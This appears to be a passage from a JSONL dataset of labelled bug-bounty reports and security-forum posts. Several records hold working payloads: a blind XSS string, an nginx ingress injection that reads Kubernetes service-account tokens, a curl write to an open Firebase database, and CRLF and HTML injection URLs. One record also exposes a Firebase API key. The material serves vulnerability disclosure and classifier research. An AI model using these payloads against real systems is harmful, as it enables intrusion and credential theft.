Controller.php\n│   │   │   └── UserManager.php\n│   │   ├── Request.php\n│   │   ├── Router.php\n│   │   ├── UploadController.php\n│   │   ├── UserLogin.php\n│   │   ├── XmlImporter.php\n│   │   └── xAPI\n│   │       ├── Builder.php\n│   │       ├── Controller.php\n│   │       └── Logger.php\n│   ├── config.json\n│   ├── controllers\n│   │   ├── Author\n│   │   │   ├── Applications.php\n│   │   │   ├── Categories.php\n│   │   │   ├── DefaultParameters.php\n│   │   │   ├── Globals.php\n│   │   │   ├── Images.php\n│   │   │   ├── Lists.php\n│   │   │   ├── Modules.php\n│   │   │   ├── ProblemLayouts.php\n│   │   │   ├── ProblemTemplates.php\n│   │   │   ├── Problems.php\n│   │   │   ├── Publish.php\n│   │   │   ├── Tags.php\n│   │   │   ├── Unpublish.php\n│   │   │   ├── UploadImage.php\n│   │   │   └── Users.php\n│   │   ├── Import\n│   │   │   ├── Parse.php\n│   │   │   └── Submit.php\n│   │   ├── Palm\n│   │   │   ├── Browse.php\n│   │   │   ├── Load.php\n│   │   │   ├── Problem.php\n│   │   │   ├── Reset.php\n│   │   │   └── Sequence.php\n│   │   ├── Perls\n│   │   │   ├── ListModules.php\n│   │   │   ├── ProbeProblems.php\n│   │   │   ├── RequestPalm.php\n│   │   │   ├── SampleProblems.php\n│   │   │   └── UserStatus.php\n│   │   ├── User\n│   │   │   ├── ConfirmEmail.php\n│   │   │   ├── Consent.php\n│   │   │   ├── Login.php\n│   │   │   ├── Logout.php\n│   │   │   ├── Register.php\n│   │   │   ├── ResetPassword.php\n│   │   │   ├── Save.php\n│   │   │   ├── Touch.php\n│   │   │   ├── Unique.php\n│   │   │   └── VerifyEmail.php\n│   │   └── xAPI\n│   │       ├── Categories.php\n│   │       ├── Modules.php\n│   │       ├── Problems.php\n│   │       ├── Statements.php\n│   │       └── Users.php\n│   ├── install.xml\n│   ├── models\n│   │   ├── Applications.php\n│   │   ├── Categories.php\n│   │   ├── FileTags.php\n│   │   ├── GlobalParameters.php\n│   │   ├── ImageTypes.php\n│   │   ├── Images.php\n│   │   ├── Lists.php\n│   │   ├── Modules.php\n│   │   ├── ProblemLayouts.php\n│   │   ├── ProblemTemplates.php\n│   │   ├── Problems.php\n│   │   └── Users.php\n│   ├── package.json\n│   ├── sql\n│   │   ├── application_parameters.sql\n│   │   ├── applications.sql\n│   │   ├── categories.sql\n│   │   ├── category_parameters.sql\n│   │   ├── category_prerequisites.sql\n│   │   ├── completed_modules.sql\n│   │   ├── file_tags.sql\n│   │   ├── global_parameters.sql\n│   │   ├── image_tag_map.sql\n│   │   ├── image_types.sql\n│   │   ├── images.sql\n│   │   ├── lists.sql\n│   │   ├── module_parameters.sql\n│   │   ├── modules.sql\n│   │   ├── performances.sql\n│   │   ├── priorities.sql\n│   │   ├── problem_graph.sql\n│   │   ├── problem_layouts.sql\n│   │   ├── problem_parameters.sql\n│   │   ├── problem_templates.sql\n│   │   ├── problems.sql\n│   │   ├── problems_logged.sql\n│   │   ├── retired_categories.sql\n│   │   ├── user_authentication.sql\n│   │   ├── use", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "da53d5c344fe2da4ed59", "text": "[Information Disclosure] store internal email disclosed through shopify-data-exporter\n\n## Summary:\nHey Shopify,\n\nWhen a store install ```shopify-data-exporter``` app to export various data of the store a link is sent to the store internal email. This internal email is disclosed via the below request to anyone \n```json\nGET /?shop=your_store.myshopify.com HTTP/2\nHost: shopify-data-exporter.shopifycloud.com\n```\n{F1779393}\n\n## Shops Used to Test:\n[xentest11.myshopify.com]\n\n## Relevant Request IDs:\n[54bb78a050a2fddbc3ae360ff72d1d3e]\n\n## Steps To Reproduce:\n\n  1.  Install ```shopify-data-exporter``` in your store (```https://apps.shopify.com/data-exporter-tax-compliance```)\n  2.  After installing the app just add your store link in ```shop``` parameter in the above shown request\n  3. In the response check for  ```data-recipient``` attribute. It exposes the internal store email.\n\n## Impact\n\nStore internal email disclose to anyone in ```shopify-data-exporter.shopifycloud.com?shop=``` via ```data-recipient``` attribute", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1629ea06028563536819", "text": "[Cross-site Scripting (XSS) - Generic] Blind XSS in app.pullrequest.com/████████ via /reviews/ratings/{uuid}\n\n**Summary:**\nHi,\n\nWhile researching PullRequest yesterday, I saw some \"review\" endpoints in web archive of \"app.pullrequest.com\". (http://web.archive.org/cdx/search/cdx?url=app.pullrequest.com/*&output=text&fl=original&collapse=urlkey)\n\nOne of them was https://app.pullrequest.com/reviews/ratings/6eaa6b75-b958-4530-ba46-0d00cbe74e0b/false , I went to that endpoint and filled the all fields with my blind XSS payload.\n`'\"><img src=x id=█████ onerror=eval(atob(this.id))>`\n\nThis payload sends an alert to my blind XSS application in `██████`\n\nToday (May 3, 2022, 6:09 pm UTC+3), I got a lot of alerts from https://app.pullrequest.com/███. I checked the report and I see it came from an PullRequest admin who checks reviews. \n\nHere is a screenshot from the report :\n\n███████\n\nI checked the HTML source code and I see my payload reflected to `Disliked_reviewers`,  `Liked_reviewers` and `Reasons` fields without any encoding. \n\nYou can also check the source code : █████████\n\n## Impact\n\nBlind XSS in PullRequest admin portal\n\nRegards,\nBugra", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "02b7dfaeb18cef8c24b2", "text": "The “other user” on that system found is “g.potter”. Are we still talking about that one?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-03-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "aa1e72d54d3eb5aff9a9", "text": "[Unknown] Add me email address Authentication bypass\n\nhi, this vulnerability can able to access user account without email verification in linkedins' add me email address function page. user add mail2 email address. without mail2 email address verification user can fully access mail1 linkedin account using mail2 email address. \n\nIn linkedin mobile application, we can add second email address, and its display \"We can't use this email for your account until you verify it.\" so, it'll play authentication logic error.\n\nTO REPRODUCE :\n1. have account mail1 & mail2.\n2. login to mail1 linkedin account.\n3. go to https://www.linkedin.com/psettings/email , add mail2 email address.\n4. then remove mail2 email address.\n5. linkedin sent verification link to mail2s' gmail.\n6. copy this link, open private tab and paste it.\n7. click signin button and type  mail1s' password.\n8. will login successfully.\n\nATTACHED Detailed Reproduce Video below\n\n## Impact\n\nUser/attacker can login successfully without email verification and also, authentication logic error happened. login using unverified email address, can't notify login successful message in the primary email address. email2 login n-no. of time without verification, and also can't notify login message to mail1(primary email) gmail account.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c1afc1a091e02076c263", "text": "[Misconfiguration] Wordpress Takeover using setup configuration at http://████.edu [HtUS]\n\nDescription:\n\nThe WordPress 'setup-config.php' installation page allows users to install\nWordPress in local or remote MySQL databases. This typically requires a user\nto have valid MySQL credentials to complete.  However, a malicious user can\nhost their own MySQL database server and can successfully complete the\nWordPress installation without having valid credentials on the target system.\n\n\nReproduce step by step:\n\nI found this vulnerable url:\nhttp://███.edu/old/wp-admin/setup-config.php\n\nThen i configured db \nI used this site https://www.freemysqlhosting.net/\n\nAfter configure I got wordpress admin access\n\nproof:\nhttp://██████████.edu/old/rce.txt\n\n\nAdmin credentials that I set after installing the config\nusername: ████████\npassword: ███\n\nLogin Panel: http://████████.edu/old/wp-login.php\n\nVideo POC has been attached as well.\n\n## Impact\n\nImpact\nRemote Code Execution/Total system compromise.\nAttacker can upload webshell into the server. I did not upload any shell for security violation.\n\nMalware distribution\nPhishing / Spear phishing\nXSS\nAuthentication bypass", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "447bde114c7372d94d79", "text": "Any hints for flag4? Pulling my hair out with it at the moment and getting nowhere No matter…I have it…I was focusing too much on the one thing", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c1e65eb13e6b2ec8f8f9", "text": "NFORMATION GATHERING - Virtual Hosts\n\nHi! I am stuck for a few days now, and I’m don’t know what I’m doing wrong. The question is: Enumerate the target and find a vHost that contains flag No. 1. Submit the flag value as your answer (in the format HTB{DATA}). When I’m doing FFUF on it, and want to go to for example blog.inlanefreight.htb than everything is the same webpage. The webpage from the Ubuntu Apache page. When i go to HTTP://inlanefreight.htb than I got a flag 1, but when I fill it in, it said that it isn’t the write answer. I added the findings from FFUF to /etc/hosts/ with the given target-ip. Can anyone tell me what I’m doing wrong, please?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-07-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "18998e618613ca944a77", "text": "[Insecure Storage of Sensitive Information] Firebase Database Takeover in https://pulseradio.mtn.co.ug/\n\n## Summary:\nDuring my test , in one of the subdomain of mtn.co.ug I found firebase configuration disclosed in the source code along with apiKey and database URL . \n\nExploiting this vulnerability attacker is able to upload malicious data in the firebase account of pulseradio.mtn.co.ug and see database over there .\n\n## Steps To Reproduce:\n\nPOC :  https://mtn-pulse-uganda.firebaseio.com/poc.json\n\n1. Go to URL below and view the source code of website .\n\nview-source:https://pulseradio.mtn.co.ug/wp-content/themes/mtn-pulse-reskin/zero-rate/firebase-config.js\n\nThere you will see following sensitive data .\n\n$(document).ready(function() {\n\t\t\t// Your web app's Firebase configuration\n\t\t\tvar firebaseConfig = {\n\t\t\t\tapiKey: \"AIzaSyCRrABG3_Sc7xHar70hFyjHjEOJ071rbJ4\",\n\t\t\t\tauthDomain: \"mtn-pulse-uganda.firebaseapp.com\",\n\t\t\t\tdatabaseURL: \"https://mtn-pulse-uganda.firebaseio.com\",\n\t\t\t\tprojectId: \"mtn-pulse-uganda\",\n\t\t\t\tstorageBucket: \"mtn-pulse-uganda.appspot.com\",\n\t\t\t\tmessagingSenderId: \"242450689592\",\n\t\t\t\tappId: \"1:242450689592:web:bdd1173378d94d733800cd\",\n\t\t\t\tmeasurementId: \"G-KHPT64LJ5L\"\n\t\t\t};\n\n\n2. Now lets upload some data in firebase database  . Send the following curl request . Your data will be uploaded to firebase .\n\n\n curl \"https://mtn-pulse-uganda.firebaseio.com/poc1.json\" -XPUT -d '{\"attacker\":\"maliciousdata\"}'\n\n3. Your data will be uploaded to https://mtn-pulse-uganda.firebaseio.com/poc1.json\n\n\n\nReferences:\nThere are guidelines available by Firebase to resolve the insecurities and misconfiguration, please follow this link:\nhttps://firebase.google.com/docs/database/security/resolve-insecurities\n\n## Impact\n\nThis is quite serious because by using this database attacker can use this for malicious purposes and also an attacker can track this database if mtn uses it for future perspective and at that time it will be much easier for the attacker to steal the data from this repository and later it will harm the reputation of the mtn.co.ug .\n\nSo please immediately change the rule of the database to private so that nobody can able to access it outside.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b6ee5d0af0d5db8d82a9", "text": "[Phishing] UI spoofing by showing sms:/tel: dialog on another website\n\n## Summary:\nThe dialog asking if you want to open the sms:/tel: link doesn't show the caller origin.\nAlso, unlike the JavaScript alert dialog, etc., it appears on the top screen even when another tab is active.\nThis can be used for UI spoofing attack to make it looks as if another site is displaying the dialog.\n\n## Products affected: \n\n * Brave for iOS (Version 1.45.2)\n\n## Steps To Reproduce:\n\n * Visit https://csrf.jp/brave/sms.php\n * Tap \"Click Me\" button\n * google.com is opened in the new tab\n * Confirmation dialog for sms: link is shown on google.com\n\n## Supporting Material/References:\n\n  * See the demonstration movie I attached\n\n## Impact\n\nThis can be used for UI spoofing attack to make it looks as if another site is displaying the dialog.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "43235e1e9268d68aa004", "text": "[Information Disclosure] Email exploitation with web hosting services.\n\nExploitation steps:\n-------------------------------------\n\nYou must upload the PHP file to the public HTML.\n\nI created this PHP code for testing. And I uploaded it.\n\nMust check the permissions are checked.\n\nBasically, I can send emails to anyone using your organisation email list.\n\nI can also send emails to your organisation people.\n\nMost of the company are secure with this vulnerability.\n\nYou will find those emails in the primary section/ in the promotions section.\n\nPlease Carefully do everything it will happen must be.\n\n\nExploit code:\n---------------------\n\n<?php\n$to = \"█████\";\n$subject = \"Email exploitation test\";\n$txt = \"Email exploitation test\";\n$headers = \"From: ███████\";\nmail($to,$subject,$txt,$headers);\n?>\n\n## Impact\n\nA short explanation of why all organisations believe this is a technical security vulnerability.\n--------------------------------------------------------------------------------------------\n\nWhen I visited this domain [ https://█████████/ ]\n\nI found different types of emails from snov.io. And there are a lot of emails that are internal information about your organisation.\n\nThat should not be known to the public. An attacker can copy those emails and then they can do email spoofing or email\n\nbombing with those emails. If an attacker can use those emails he/she then can send messages, not from your organisation. He or she can write\n\nbad messages or wrong messages or false messages or scam messages to those victims. They can make a reputation loss.\n\nThey can send harmful news/false news/malicious files. They can do phishing attacks and steal the internal information of your organisation.\n\nSometimes it may occur different types of account hacks.\n\n## System Host(s)\n███████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nYou must upload the PHP file to the public HTML.\n\nI created this PHP code for testing. And I uploaded it.\n\nMust check the permissions are checked.\n\nBasically, I can send emails to anyone using your organisation email list.\n\nI can also send emails to your organisation people.\n\nMost of the company are secure with this vulnerability.\n\nYou will find those emails in the primary section/ in the promotions section.\n\nPlease Carefully do everything it will happen must be.\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bd841e264b73ddf54a6e", "text": "Hey! anyone getting stuck at this question just make sure to use the virtual machine (pwnbox) , just make your for-loop as you know and submit the flag (use all the code). (not all packages are installed at kali so use the docker machine)", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-05-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "37811a90e4f1f862c658", "text": "So basically the WIFI UAV App sends 124 Bytes of Data. The 13th, 14th, 89th, 90th, 109th, and 110th byte are about time counter. Where 13 and 14 starts with 00, 89 and 90 starts with 01, and 109 and 110 starts with 02. For controlling, the 21st byte is left and right from 00 to FF where in the middle is 80 ( 126 decimal ) 22nd byte is forward and backward where backward from 00 and forward to FF 23th byte is throttle from 00 to FF 24th byte is for yaw from 00 to FF 25th byte is for command, where 01 takeoff, 02 emergency stop/killswitch, 03 landing, 04 Calibrate Gyro 26th byte is also command but for toggle between Headless mode and non-headless mode There must be many commands but i didnt found yet", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-11-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d3654f5191b98a1965b2", "text": "@kkkkkkk some of the target machines are pretty complex, after you spawn the target it may take up to 5 or 10 minutes to actually deploy the docker instance. I know it gives you the IP address right away. But give it time. Some of the WordPress and Session Security exercises seem to take forever to load. These things are not instantaneous. Just give it a few more seconds to load lol. -onthesauce", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-10-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7d82a1bdd00db2a98c0f", "text": "Both Cybersecurity and Artificial Intelligence/Machine Learning are exciting fields with a lot of potential for the future. It really depends on your interests and career goals. If you’re interested in protecting computer systems and networks from cyber attacks, Cybersecurity and digital forensic might be a good fit for you. On the other hand, if you’re interested in developing cutting-edge technology and working on projects like self-driving cars or virtual assistans. AI and machine learning might be a better option.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2023-06-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0a41e2f86f5ae89f3240", "text": "Mate, your post is not in alignment with forum guidelines, why don’t you go ahead and write in detail how your tool works, what is wrong with the target software which allows your tool to work and how exactly you “exploit” it. Also make sure you go through the forum guidelines.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-01-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0eb94d0e648b896f0d0a", "text": "[Cross-site Scripting (XSS) - Stored] XSS Stored on https://seedr.ru\n\nSite: https://seedr.ru/\nOS version: Windows 10\nbrowser: Google chrome\n\nStored cross-site scripting  arises when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way. \nI changed my nickname to a code that demonstrates the malicious code of the attacker, now any user, including administrators, will be compromised. When an administrator account is stolen, both the server side and the privacy of users are at risk. Therefore, I consider this vulnerability to be of high severity level.\n\"Groups\" are also vulnerable to XSS stored. I changed the name of the group to demo code. Now everyone who visits my group page is potentially compromised. Accordingly, you can send a link to the group, which will also lead to the compromise of users. (even if the group hasn't been published yet).\nLink:\nhttps://seedr.ru/group/4/614e14e79762b6055d8b4586\n\nHow to prevent XSS attacks\nIn general, effectively preventing XSS vulnerabilities is likely to involve a combination of the following measures:\nFilter input on arrival. At the point where user input is received, filter as strictly as possible based on what is expected or valid input.\nEncode data on output. At the point where user-controllable data is output in HTTP responses, encode the output to prevent it from being interpreted as active content. Depending on the output context, this might require applying combinations of HTML, URL, JavaScript, and CSS encoding.\nUse appropriate response headers. To prevent XSS in HTTP responses that aren't intended to contain any HTML or JavaScript, you can use the Content-Type and X-Content-Type-Options headers to ensure that browsers interpret the responses in the way you intend.\nContent Security Policy. As a last line of defense, you can use Content Security Policy (CSP) to reduce the severity of any XSS vulnerabilities that still occur.\n\n## Impact\n\nIf an attacker can control the script running in the victim's browser, he can completely compromise that user. In this case, any user who comes to my page will be compromised, and this may be the site administrator, which will jeopardize the security in general. Also, an attacker can take any of the actions applicable to the impact of reflected XSS vulnerabilities.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e68b2003869a04a9aabd", "text": "There are six entries on the list with four different user names. You will be able to exclude two of them without further ado. So there are two possible answers left. If you start at the top, you won’t need a second try", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-07-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a4b36c54a62febc43139", "text": "[Information Disclosure] Impact of Using the PHP Function \"phpinfo()\" on System Security - PHP info page disclosure\n\n## Summary:\nphpinfo() is a debug functionality that prints out detailed information on both the system and the PHP configuration.\nThis function can reveal sensitive information such as the exact PHP version, operating system and its version, internal IP addresses, server environment variables, and loaded PHP extensions and their configurations. An attacker can use this information to research known vulnerabilities for the system and potentially exploit other vulnerabilities.\n\n## Steps To Reproduce:\n\n  1. Access the address https://rewardsforjustice.net/phpinfo.php \n\n\n##Remediation Guidance\nTo remediate this issue, you should remove the phpinfo() function from your code, or ensure that it is only accessible to trusted individuals. Additionally, you should ensure that your server environment variables are not accessible to unauthorized users.\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n  * \"Secure Configuration Guide for PHP\" by the National Institute of Standards and Technology (NIST): https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-42.pdf\n* \"PHP Security Best Practices\" by the Open Web Application Security Project (OWASP): https://www.owasp.org/index.php/PHP_Security_Best_Practices\n* \"PHP Configuration and Hardening\" by the SANS Institute: https://www.sans.edu/security-resources/policies/general/docs/php-configuration-hardening\n\n## Impact\n\nThis information can help an attacker gain more information on the system. After gaining detailed information, the attacker can research known vulnerabilities for that system under review. The attacker can also use this information during the exploitation of other vulnerabilities.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c736a15d82e9ff55e3e0", "text": "Thanks @htbperson The 3rd point is where all of us get stuck. Be sure to make the ipaddress the ip address of “tun0” not anything else.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-12-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a7846ea5442242eb8da2", "text": "[Resource Injection] XSS in Desktop Client in call notification popup\n\n## Summary:\nThe `Nextcloud Desktop Client` application does not properly neutralize the name of a group conversation before using it.\n\n## Steps To Reproduce:\n### Server Machine:\n1. Install the `Nextcloud Server` application\n2. Create an administrator account\n3. Create a user account\n\n### Client Machine:\n4. Install the `Nextcloud Desktop Client` application on a machine that is running the `Windows 10` operating system\n5. Log in to the user account\n\n### Server Machine:\n6. Log in to the administrator account\n7. Install the `Nextcloud Talk` application\n8. Open the `Nextcloud Talk` application\n9. Create a group conversation with the name `<img src=\"https://avatars.githubusercontent.com/u/99037623\">`\n10. Add the user to the group conversation\n11. Start a call in the group conversation\n\n### Client Machine:\n12. Observe that the name of the group conversation is treated as `HyperText Markup Language`\n\nPlease do note that group conversation messages are also treated as `HyperText Markup Language`.\n\n## Supporting Material/References:\n{F1953705}\n{F1953706}\n{F1953851}\n\n## Impact\n\nAn attacker can inject arbitrary `HyperText Markup Language` in to the `Nextcloud Desktop Client` application.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8583d4ed7b70bafb9ce0", "text": "[Privilege Escalation] Ingress-nginx path allows retrieval of ingress-nginx serviceaccount token\n\nReport Submission Form\n\n## Summary:\nA user with the permissions to create an ingress resource can obtain the ingress-nginx service account token which can list secrets is all namespaces (cluster wide).\n\n## Kubernetes Version:\n1.20 (should work on (1.21 as well)\n\n## Component Version:\nnginx ingress controller v1.0.4\n\n## Steps To Reproduce:\nI deployed the latest ingress-controller (v1.0.4).\nI used a user (gaf_test) that has the permissions to get, create and update ingress resources\n(the “get” permissions is only to allow kubectl to view the newly created resource).\n\ningress-creator-role.yaml\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: Role\nmetadata:\n  name: ingress-creator\n  namespace: default\nrules:\n- apiGroups: [\"networking.k8s.io\"]\n  resources: [\"ingresses\"]\n  verbs: [\"get\", \"create\", \"update\"]\n```\n\ningress-creator-role-binding.yaml\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: RoleBinding\nmetadata:\n  name: gaf_test-ingress-creator-binding\n  namespace: default\nsubjects:\n- kind: User\n  name: gaf_test\n  apiGroup: rbac.authorization.k8s.io\nroleRef:\n  kind: Role\n  name: ingress-creator\n  apiGroup: rbac.authorization.k8s.io\n```\n\nThis user (gaf_user) cannot list secrets at all.\n{F1495367}\n \nUse this user (gaf_user) to create a new ingress resource in the default namespace.\n\ningress.yaml\n```yaml\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n  name: gaf-ingress\n  annotations:\n    kubernetes.io/ingress.class: \"nginx\"\nspec:\n  rules:\n  -  http:\n      paths:\n        - path: /gaf{alias /var/run/secrets/kubernetes.io/serviceaccount/;}location ~* ^/aaa\n          pathType: Prefix\n          backend:\n            service:\n              name: some-service\n              port:\n                number: 5678\n```\n```\nkubectl apply -f ingress.yaml\n```\n{F1495369}\n \n\nAccess to nginx ingress loadbalancer to /gaf/token path.\n\nhttps://<host>/gaf/token\n\n {F1495370}\n\nDecode the token to see it belongs to the ingress-nginx\n{F1495372}\n \nThe nginx-ingress service account is bound to the nginx-ingress cluser role that can list secrets in all namespaces.\n\n## The Root Cause\nWhen a user creates an ingress resource, the new configuration is updated in the /etc/nginx/nginx.conf file in the ingress-nginx-controller pod located in the nginx-ingress namespace.\nI caused a “config file injection” using the following payload as path:\n\n**/gaf{alias /var/run/secrets/kubernetes.io/serviceaccount/;}location ~* ^/aaa**\nThe payload above creates the following configuration for nginx:\n\n/etc/nginx/nginx.conf\n\n{F1495371} \n\nThis is the relevant part from the configuration which creates a new route to /gaf path and uses an alias (http://nginx.org/en/docs/http/ngx_http_core_module.html#alias)\nthat maps to /var/run/secrets/kubernetes.io/serviceaccount/ directory on the ingress-nginx-controller pod.\n\n## Impact\n\nA user with the permissions to create an ingress resource can obtain the ingress-nginx service account token which can list secrets is all namespaces (cluster wide).", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9c21340510c93d5d7288", "text": "Something that I found was to go with the hint provided for the first question in the service login. I ran my possible username through Metasploit and got a correct hit on the username. First is that I was able to get the last challenge in under 2 hrs. Use First Name and Last Name only when generating the user list. Use Fist Name and Last Name when generating the Password list and include 1337 When in look at the Netstat and you will see something missing. Never overlook the obvious", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-09-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8cb1023c22844b241ca0", "text": "[CRLF Injection] Security bug https://bugzilla.mozilla.org/oauth/authorize - CRLF Header injection via \"redirect_uri\" parameter\n\n## Summary:\nCRLF / HTTP Header Injection.\nAllows you to set any headers/etc (Set-Cookie...)\nPage: https://bugzilla.mozilla.org/oauth/authorize\nParameter: redirect_uri\n\n## Steps To Reproduce:\nPoC - does not require authorization:\n\n1. https://bugzilla.mozilla.org/oauth/authorize?client_id=&redirect_uri=%0d%0axxx:something&response_type=code\n2. or (with true redirect): https://bugzilla.mozilla.org/oauth/authorize?client_id=&redirect_uri=\\\\name.tld%0d%0axxx:something&response_type=code\nHTTP response:\n```\nHTTP/2 302\nserver: nginx\ndate: Tue, 21 Feb 2023 12:04:22 GMT\ncontent-length: 0\ncontent-security-policy: default-src 'self'; worker-src 'none'; connect-src 'self' https://product-details.mozilla.org https://www.google-analytics.com https://treeherder.mozilla.org/api/failurecount/ https://crash-stats.mozilla.org/api/SuperSearch/; font-src 'self' https://fonts.gstatic.com; img-src 'self' data: blob: https://secure.gravatar.com; object-src 'none'; script-src 'self' 'nonce-kYhs2ysp5D5M1gt2i2uKTFaJyxLN8Qm7O112v7Vt6J4dWGrf' 'unsafe-inline' https://www.google-analytics.com; style-src 'self' 'unsafe-inline'; frame-src https://crash-stop-addon.herokuapp.com; frame-ancestors 'self'; form-action 'self' https://www.google.com/search https://github.com/login/oauth/authorize https://github.com/login https://phabricator.services.mozilla.com/ https://people.mozilla.org\nlocation:\nxxx: something?error=invalid_scope\nreferrer-policy: same-origin\nstrict-transport-security: max-age=31536000; includeSubDomains\nstrict-transport-security: max-age=31536000\nx-content-type-options: nosniff\nx-frame-options: SAMEORIGIN\nx-xss-protection: 1; mode=block\nvia: 1.1 google\nalt-svc: h3=\":443\"; ma=2592000,h3-29=\":443\"; ma=2592000\n```\n\n## Impact\n\n## Summary:\nPossible manipulation of user session / open redirect.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4595be3a96fdacee774f", "text": "[Cross-site Scripting (XSS) - Generic] html injection via invite members can be leads account takeover\n\nHi team,\nI have found an vulnerability on your website .\nstep to reproduce :\n1.navigate to : yourworkspace.cloud.mattermost.com\n2.create new channel F1571445\n3.there you will find a functionality invite members F1571448\n4.click on invite members \n5 input your email address \n6.scroll down & click on invite as guest F1571456\n7. on Add to channels input your channel name \n8.click on set a custom message , input this html payloads : <a href=evil.com>click</a>\n<input type=x>\n9. invite \n10.open inbox of  email that you have invited\nas you can see  html injected & there's an input field & click button \n\nfollow my video poc for better understanding & if you need any info let me know .\nthanks for reading my report .God bless you\n\n## Impact\n\nAs HTML injection worked in email an attacker can trick victim to click on such hyperlinks to redirect him to any malicious site and also can host a XSS page. All this will surely cause some damage to victim. This could lead to users being tricked into giving logins away to malicious attackers.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
